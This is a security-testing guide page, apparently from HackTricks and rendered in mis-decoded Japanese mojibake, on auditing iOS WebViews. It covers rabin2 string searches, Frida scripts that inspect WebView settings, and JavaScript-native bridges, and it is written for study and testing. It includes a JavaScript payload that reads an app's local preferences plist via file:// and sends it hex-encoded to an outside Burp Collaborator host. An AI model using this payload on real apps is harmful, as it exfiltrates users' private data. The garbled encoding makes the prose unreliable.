iOS WebViews
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
ãã®ããŒãžã®ã³ãŒãã¯ãã¡ãããæœåºãããŸããã詳现ã«ã€ããŠã¯ããŒãžã確èªããŠãã ããã
WebViewsã®çš®é¡
WebViewsã¯ãã¢ããªã±ãŒã·ã§ã³å ã§ã€ã³ã¿ã©ã¯ãã£ãã«ãŠã§ãã³ã³ãã³ãã衚瀺ããããã«å©çšãããŸããããŸããŸãªçš®é¡ã®WebViewsã¯ãiOSã¢ããªã±ãŒã·ã§ã³ã«ç°ãªãæ©èœãšã»ãã¥ãªãã£æ©èœãæäŸããŸãã以äžã¯ç°¡åãªæŠèŠã§ãïŒ
-
UIWebViewã¯ãJavaScriptãç¡å¹ã«ãããµããŒãããªããããiOS 12以éã¯æšå¥šãããªããªããŸãããããã«ãããã¹ã¯ãªããã€ã³ãžã§ã¯ã·ã§ã³ã**Cross-Site Scripting (XSS)**æ»æã«å¯ŸããŠè匱ã§ãã
-
WKWebViewã¯ãã¢ããªã«ãŠã§ãã³ã³ãã³ããçµã¿èŸŒãããã®æšå¥šãªãã·ã§ã³ã§ãã³ã³ãã³ããšã»ãã¥ãªãã£æ©èœã«å¯Ÿããå¶åŸ¡ã匷åãããŠããŸããJavaScriptã¯ããã©ã«ãã§æå¹ã§ãããå¿ èŠã«å¿ããŠç¡å¹ã«ããããšãã§ããŸãããŸããJavaScriptãèªåçã«ãŠã£ã³ããŠãéããªãããã«ããæ©èœããµããŒããããã¹ãŠã®ã³ã³ãã³ããå®å šã«èªã¿èŸŒãŸããããšãä¿èšŒããŸããããã«ãWKWebViewã®ã¢ãŒããã¯ãã£ã¯ãã¡ã€ã³ã¢ããªããã»ã¹ã«åœ±é¿ãäžããã¡ã¢ãªç Žæã®ãªã¹ã¯ãæå°éã«æããŸãã
-
SFSafariViewControllerã¯ãã¢ããªå ã§æšæºåããããŠã§ããã©ãŠãžã³ã°äœéšãæäŸããèªã¿åãå°çšã®ã¢ãã¬ã¹ãã£ãŒã«ããå ±æããã³ããã²ãŒã·ã§ã³ãã¿ã³ãSafariã§ã³ã³ãã³ããéãããã®çŽæ¥ãªã³ã¯ãå«ãç¹å®ã®ã¬ã€ã¢ãŠãã§èªèãããŸããWKWebViewãšã¯ç°ãªããSFSafariViewControllerã§ã¯JavaScriptãç¡å¹ã«ããããšãã§ãããSafariãšã¯ãããŒãããŒã¿ãå ±æããã¢ããªãããŠãŒã¶ãŒã®ãã©ã€ãã·ãŒãç¶æããŸããApp Storeã®ã¬ã€ãã©ã€ã³ã«åŸã£ãŠãç®ç«ã€ããã«è¡šç€ºããå¿ èŠããããŸãã
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
WebViews èšå®æ¢çŽ¢ã®æŠèŠ
éçåæã®æŠèŠ
WebViews èšå®ã調æ»ããéçšã§ãäž»ã«äºã€ã®ã¿ã€ãã«çŠç¹ãåœãŠãããŸã: UIWebView ãš WKWebViewããã€ããªå ã§ãããã® WebViews ãç¹å®ããããã«ãç¹å®ã®ã¯ã©ã¹åç §ãšåæåã¡ãœãããæ€çŽ¢ããã³ãã³ããå©çšãããŸãã
- UIWebView ã®ç¹å®
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
ãã®ã³ãã³ãã¯ããã€ããªå ã®é¢é£ããããã¹ãæååãæ€çŽ¢ããããšã«ãã£ãŠãUIWebViewã®ã€ã³ã¹ã¿ã³ã¹ãç¹å®ããã®ã«åœ¹ç«ã¡ãŸãã
- WKWebViewã®èå¥
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
åæ§ã«ãWKWebViewã«ã€ããŠã¯ããã®ã³ãã³ãããã®äœ¿çšã瀺ãããã¹ãæååããã€ããªå ã§æ€çŽ¢ããŸãã
ããã«ãWKWebViewãã©ã®ããã«åæåãããããèŠã€ããããã«ã次ã®ã³ãã³ããå®è¡ããããã®åæåã«é¢é£ããã¡ãœããã·ã°ããã£ãã¿ãŒã²ããã«ããŸãïŒ
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
JavaScriptèšå®ã®ç¢ºèª
WKWebViewã§ã¯ãå¿
èŠã§ãªãéãJavaScriptãç¡å¹ã«ããããšããã¹ããã©ã¯ãã£ã¹ã§ãããšåŒ·èª¿ãããŠããŸããã³ã³ãã€ã«ããããã€ããªãæ€çŽ¢ããŠãjavaScriptEnabledããããã£ãfalseã«èšå®ãããŠããããšã確èªããJavaScriptãç¡å¹ã«ãªã£ãŠããããšãä¿èšŒããŸãïŒ
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
å®å šãªã³ã³ãã³ãã®ã¿ã®æ€èšŒ
WKWebView ã¯ãUIWebView ãšå¯Ÿç
§çã«ãæ··åã³ã³ãã³ãã®åé¡ãç¹å®ããæ©èœãæäŸããŸããããã¯ããã¹ãŠã®ããŒãžãªãœãŒã¹ãå®å
šãªæ¥ç¶ãéããŠèªã¿èŸŒãŸããããšã確èªããããã« hasOnlySecureContent ããããã£ã䜿çšããŠãã§ãã¯ãããŸããã³ã³ãã€ã«ããããã€ããªå
ã®æ€çŽ¢ã¯æ¬¡ã®ããã«è¡ãããŸã:
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
åçåæã®æŽå¯
åçåæã¯ãWebViewã€ã³ã¹ã¿ã³ã¹ãšãã®ããããã£ã®ããã«ããŒããæ€æ»ããããšãå«ã¿ãŸãããã®ç®çã®ããã«ãwebviews_inspector.jsãšããã¹ã¯ãªããã䜿çšãããUIWebViewãWKWebViewãããã³SFSafariViewControllerã€ã³ã¹ã¿ã³ã¹ã察象ãšããŠããŸããèŠã€ãã£ãã€ã³ã¹ã¿ã³ã¹ã«é¢ããæ
å ±ãURLãããã³JavaScriptãšå®å
šãªã³ã³ãã³ãã«é¢é£ããèšå®ããã°ã«èšé²ãããŸãã
ããŒãæ€æ»ã¯ãObjC.choose()ã䜿çšããŠWebViewã€ã³ã¹ã¿ã³ã¹ãç¹å®ããjavaScriptEnabledããã³hasonlysecurecontentããããã£ã確èªããããšã§å®æœã§ããŸãã
ObjC.choose(ObjC.classes["UIWebView"], {
onMatch: function (ui) {
console.log("onMatch: ", ui)
console.log("URL: ", ui.request().toString())
},
onComplete: function () {
console.log("done for UIWebView!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("URL: ", wk.URL().toString())
},
onComplete: function () {
console.log("done for WKWebView!")
},
})
ObjC.choose(ObjC.classes["SFSafariViewController"], {
onMatch: function (sf) {
console.log("onMatch: ", sf)
},
onComplete: function () {
console.log("done for SFSafariViewController!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log(
"javaScriptEnabled:",
wk.configuration().preferences().javaScriptEnabled()
)
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
},
})
ã¹ã¯ãªããã¯æ¬¡ã®ããã«å®è¡ãããŸã:
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
äž»èŠãªææ:
- WebViewsã®ã€ã³ã¹ã¿ã³ã¹ãæ£åžžã«ç¹å®ãããæ€æ»ãããŸããã
- JavaScriptã®æå¹åãšå®å šãªã³ã³ãã³ãèšå®ã確èªãããŸããã
ãã®èŠçŽã¯ãJavaScriptã®æå¹åãæ··åã³ã³ãã³ãã®æ€åºãªã©ã®ã»ãã¥ãªãã£æ©èœã«çŠç¹ãåœãŠãéçããã³åçã¢ãããŒããéããŠWebViewã®æ§æãåæããéã«é¢äžããéèŠãªã¹ããããšã³ãã³ããèŠçŽããŠããŸãã
WebViewãããã³ã«åŠç
WebViewså
ã®ã³ã³ãã³ããåŠçããããšã¯éèŠãªåŽé¢ã§ãããç¹ã«http(s)://ãfile://ãããã³tel://ãªã©ã®ããŸããŸãªãããã³ã«ãæ±ãéã«éèŠã§ãããããã®ãããã³ã«ã¯ãã¢ããªå
ã§ãªã¢ãŒãããã³ããŒã«ã«ã³ã³ãã³ãã®äž¡æ¹ãèªã¿èŸŒãããšãå¯èœã«ããŸããããŒã«ã«ã³ã³ãã³ããèªã¿èŸŒãéã«ã¯ããŠãŒã¶ãŒããã¡ã€ã«ã®ååããã¹ã«åœ±é¿ãäžããããã³ã³ãã³ãèªäœãç·šéãããã§ããªãããã«æ³šæãå¿
èŠã§ããããšã匷調ãããŠããŸãã
WebViewsã¯ãã³ã³ãã³ãã®èªã¿èŸŒã¿ã«ç°ãªãæ¹æ³ãæäŸããŸããçŸåšã¯éæšå¥šã®UIWebViewã§ã¯ãloadHTMLString:baseURL:ãloadData:MIMEType:textEncodingName:baseURL:ã®ãããªã¡ãœããã䜿çšãããŸããäžæ¹ãWKWebViewã¯ããŠã§ãã³ã³ãã³ãã®ããã«loadHTMLString:baseURL:ãloadData:MIMEType:textEncodingName:baseURL:ãããã³loadRequest:ã䜿çšããŸããããŒã«ã«ãã¡ã€ã«ãèªã¿èŸŒãããã«ã¯ãéåžžpathForResource:ofType:ãURLForResource:withExtension:ãããã³init(contentsOf:encoding:)ã®ãããªã¡ãœãããå©çšãããŸããloadFileURL:allowingReadAccessToURL:ã¡ãœããã¯ãç¹å®ã®URLãŸãã¯ãã£ã¬ã¯ããªãWebViewã«èªã¿èŸŒãèœåãç¹ã«æ³šç®ãããŠããããã£ã¬ã¯ããªãæå®ãããå Žåã«ã¯æ©å¯ããŒã¿ãé²åºããå¯èœæ§ããããŸãã
ãããã®ã¡ãœããããœãŒã¹ã³ãŒããã³ã³ãã€ã«ããããã€ããªå ã§èŠã€ããããã«ã¯ã次ã®ãããªã³ãã³ãã䜿çšã§ããŸã:
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
ãã¡ã€ã«ã¢ã¯ã»ã¹ã«é¢ããŠãUIWebViewã¯æ®éçã«èš±å¯ãããŠããŸãããWKWebViewã¯ãã¡ã€ã«URLããã®ã¢ã¯ã»ã¹ã管çããããã«allowFileAccessFromFileURLsãšallowUniversalAccessFromFileURLsã®èšå®ãå°å
¥ããŠãããäž¡æ¹ãšãããã©ã«ãã§ã¯falseã§ãã
ã»ãã¥ãªãã£èšå®ã®ããã«WKWebViewã®æ§æãæ€æ»ããããã®Fridaã¹ã¯ãªããã®äŸãæäŸãããŠããŸã:
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
æåŸã«ãããŒã«ã«ãã¡ã€ã«ãæœåºããããšãç®çãšããJavaScriptãã€ããŒãã®äŸã¯ãé©åã«æ§æãããŠããªãWebViewã«é¢é£ããæœåšçãªã»ãã¥ãªãã£ãªã¹ã¯ã瀺ããŠããŸãããã®ãã€ããŒãã¯ããã¡ã€ã«ã®å 容ã16鲿°åœ¢åŒã«ãšã³ã³ãŒãããŠãããµãŒããŒã«éä¿¡ããWebViewã®å®è£ ã«ããã峿 Œãªã»ãã¥ãªãã£å¯Ÿçã®éèŠæ§ã匷調ããŠããŸãã
String.prototype.hexEncode = function () {
var hex, i
var result = ""
for (i = 0; i < this.length; i++) {
hex = this.charCodeAt(i).toString(16)
result += ("000" + hex).slice(-4)
}
return result
}
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest()
xhr2.open(
"GET",
"http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
xhr.responseText.hexEncode(),
true
)
xhr2.send(null)
}
}
xhr.open(
"GET",
"file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
true
)
xhr.send(null)
ãã€ãã£ãã¡ãœãããWebViewãéããŠå ¬éããã
iOSã«ãããWebViewãã€ãã£ãã€ã³ã¿ãŒãã§ãŒã¹ã®çè§£
iOS 7以éãAppleã¯WebViewå ã®JavaScriptãšãã€ãã£ã SwiftãŸãã¯Objective-Cãªããžã§ã¯ãéã®éä¿¡ã®ããã®APIãæäŸããŸããããã®çµ±åã¯äž»ã«2ã€ã®ã¡ãœãããéããŠå®çŸãããŸãïŒ
- JSContext: SwiftãŸãã¯Objective-Cãããã¯ã
JSContextå ã®èå¥åã«ãªã³ã¯ããããšãèªåçã«JavaScript颿°ãäœæãããŸããããã«ãããJavaScriptãšãã€ãã£ãã³ãŒãéã®ã·ãŒã ã¬ã¹ãªçµ±åãšéä¿¡ãå¯èœã«ãªããŸãã - JSExportãããã³ã«:
JSExportãããã³ã«ãç¶æ¿ããããšã§ããã€ãã£ãããããã£ãã€ã³ã¹ã¿ã³ã¹ã¡ãœãããããã³ã¯ã©ã¹ã¡ãœãããJavaScriptã«å ¬éã§ããŸããããã¯ãJavaScriptç°å¢ã§è¡ããã倿Žããã€ãã£ãç°å¢ã«åæ ããããã®éãåæ§ã§ããããšãæå³ããŸãããã ãããã®æ¹æ³ã§æ©å¯ããŒã¿ãæå³ããå ¬éãããªãããã«ããããšãéèŠã§ãã
Objective-Cã§ã®JSContextãžã®ã¢ã¯ã»ã¹
Objective-Cã§ã¯ãUIWebViewã®JSContextã¯æ¬¡ã®ã³ãŒãè¡ã§ååŸã§ããŸãïŒ
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
WKWebViewãšã®éä¿¡
WKWebViewã§ã¯ãJSContextãžã®çŽæ¥ã¢ã¯ã»ã¹ã¯å©çšã§ããŸããã代ããã«ãpostMessage颿°ãéããŠã¡ãã»ãŒãžã®éä¿¡ãå©çšãããJavaScriptãšãã€ãã£ãã®éä¿¡ãå¯èœã«ãªããŸãããããã®ã¡ãã»ãŒãžã®ãã³ãã©ãŒã¯ä»¥äžã®ããã«èšå®ãããJavaScriptããã€ãã£ãã¢ããªã±ãŒã·ã§ã³ãšå®å
šã«å¯Ÿè©±ã§ããããã«ãªããŸãïŒ
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}
ã€ã³ã¿ã©ã¯ã·ã§ã³ãšãã¹ã
JavaScriptã¯ã¹ã¯ãªããã¡ãã»ãŒãžãã³ãã©ãŒãå®çŸ©ããããšã§ãã€ãã£ãã¬ã€ã€ãŒãšã€ã³ã¿ã©ã¯ã·ã§ã³ã§ããŸããããã«ããããŠã§ãããŒãžãããã€ãã£ã颿°ãåŒã³åºããªã©ã®æäœãå¯èœã«ãªããŸãïŒ
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage([
"multiplyNumbers",
value1,
value2,
])
}
// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
ãã€ãã£ã颿°åŒã³åºãã®çµæããã£ããã£ããŠæäœããã«ã¯ãHTMLå ã§ã³ãŒã«ããã¯é¢æ°ããªãŒããŒã©ã€ãããããšãã§ããŸã:
<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result)
}
</script>
</html>
ãã€ãã£ãåŽã¯ãJavaScriptBridgeMessageHandlerã¯ã©ã¹ã«ç€ºãããŠããããã«ãJavaScriptåŒã³åºããåŠçããŸããããã§ã¯ãæ°å€ã®ä¹ç®ãªã©ã®æäœã®çµæãåŠçããã衚瀺ãŸãã¯ãããªãæäœã®ããã«JavaScriptã«éä¿¡ãããŸãã
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}
iOS WebViewsã®ãããã°
(Tutorial based on the one from https://blog.vuplex.com/debugging-webviews)
iOS webviewså
ã®ãŠã§ãã³ã³ãã³ãã广çã«ãããã°ããã«ã¯ãconsole.log()ã«éä¿¡ãããã¡ãã»ãŒãžãXcodeã®ãã°ã«è¡šç€ºãããªããããSafariã®éçºè
ããŒã«ã䜿çšããç¹å®ã®ã»ããã¢ãããå¿
èŠã§ãã以äžã¯ãéèŠãªã¹ããããšèŠä»¶ã匷調ããç°¡ç¥ã¬ã€ãã§ãïŒ
-
iOSããã€ã¹ã®æºå: iOSããã€ã¹ã§Safari Web Inspectorãæå¹ã«ããå¿ èŠããããŸããããã¯ãèšå® > Safari > 詳现ã«ç§»åãã_Web Inspector_ãæå¹ã«ããããšã§è¡ããŸãã
-
macOSããã€ã¹ã®æºå: macOSéçºãã·ã³ã§Safariå ã®éçºè ããŒã«ãæå¹ã«ããå¿ èŠããããŸããSafariãèµ·åããSafari > ç°å¢èšå® > 詳现ã«ã¢ã¯ã»ã¹ãã_Developã¡ãã¥ãŒã衚瀺_ãããªãã·ã§ã³ãéžæããŸãã
-
æ¥ç¶ãšãããã°: iOSããã€ã¹ãmacOSã³ã³ãã¥ãŒã¿ã«æ¥ç¶ããã¢ããªã±ãŒã·ã§ã³ãèµ·åããåŸãmacOSããã€ã¹ã®Safariã䜿çšããŠãããã°ãããwebviewãéžæããŸããSafariã®ã¡ãã¥ãŒããŒã§_Develop_ã«ç§»åããiOSããã€ã¹ã®ååã«ã«ãŒãœã«ãåãããŠwebviewã€ã³ã¹ã¿ã³ã¹ã®ãªã¹ãã衚瀺ããæ€æ»ãããã€ã³ã¹ã¿ã³ã¹ãéžæããŸãããã®ç®çã®ããã«æ°ããSafari Web InspectorãŠã£ã³ããŠãéããŸãã
ãã ããå¶éã«æ³šæããŠãã ããïŒ
- ãã®æ¹æ³ã§ã®ãããã°ã«ã¯macOSããã€ã¹ãå¿ èŠã§ããããã¯Safariã«äŸåããŠããŸãã
- XcodeãéããŠããã€ã¹ã«ããŒããããã¢ããªã±ãŒã·ã§ã³å ã®webviewã®ã¿ããããã°ã®å¯Ÿè±¡ãšãªããŸããApp StoreãApple Configuratorãä»ããŠã€ã³ã¹ããŒã«ãããã¢ããªã®webviewã¯ããã®æ¹æ³ã§ãããã°ã§ããŸããã
åèæç®
- https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6
- https://github.com/authenticationfailure/WheresMyBrowser.iOS
- https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


